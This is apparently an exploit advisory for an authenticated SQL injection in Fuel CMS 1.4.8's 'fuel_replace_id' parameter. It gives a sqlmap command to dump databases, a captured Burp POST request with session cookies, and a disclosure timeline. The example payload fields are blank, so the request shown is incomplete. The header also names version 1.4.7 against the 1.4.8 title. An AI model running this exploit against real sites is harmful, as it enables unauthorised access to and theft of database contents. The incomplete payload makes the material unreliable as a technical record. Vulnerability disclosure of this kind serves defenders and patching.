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Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)


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# Exploit Title: Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)
# Date: 2020-08-19
# Exploit Author: c0mpu7er(@ymbank.cn)
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/archive/1.4.8.zip
# Version: 1.4.7
# Tested on: PHP 5.4.45, Apache 2.4.23 ,mysql 5.0

1. Description:

FUEL CMS 1.4.8 allows SQL Injection via parameter 'fuel_replace_id' in pages/replace/1
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

2. Proof of Concept:

In Burpsuite intercept the request from one of the affected pages with 'fuel_replace_id' parameter and save it like 33.txt
Then run SQLmap to extract the data from the database:

python sqlmap.py -r 33.txt --dbs

3.Example payload:

Content-Disposition: form-data; name="fuel_replace_id"


4. Burpsuite request payload:

POST /FUEL-CMS-1.4.8/fuel/pages/replace/1?inline=1 HTTP/1.1
Content-Length: 347
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygI1zKZoBINTcL87g
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: fuel_ac82b68172fd46789948eb8e66216180=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A0%3A%22%22%3B%7D; fuel_ui_ac82b68172fd46789948eb8e66216180=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%252C%2522fuel_pages_items%2522%253A%2522list%2522%252C%2522tabs_pages_create%2522%253A%25220%2522%252C%2522fuel_navigation_items%2522%253A%2522list%2522%252C%2522tabs_navigation_create%2522%253A%25220%2522%252C%2522tabs_pages_edit_1%2522%253A%25220%2522%257D; ci_session=db8df72tccrt8vnr2uaqnckv5ak4n135
Connection: close

Content-Disposition: form-data; name="fuel_replace_id"

Content-Disposition: form-data; name="Submit"

Content-Disposition: form-data; name="fuel_inline"

5. Timeline:

2020-08-20: SQLi vulnerability found in Fuel CMS 1.4.8
2020-08-20: Reported vulnerability to vendor
2020-08-22: Vendor has patched the SQLi vulnerability in version 1.4.9
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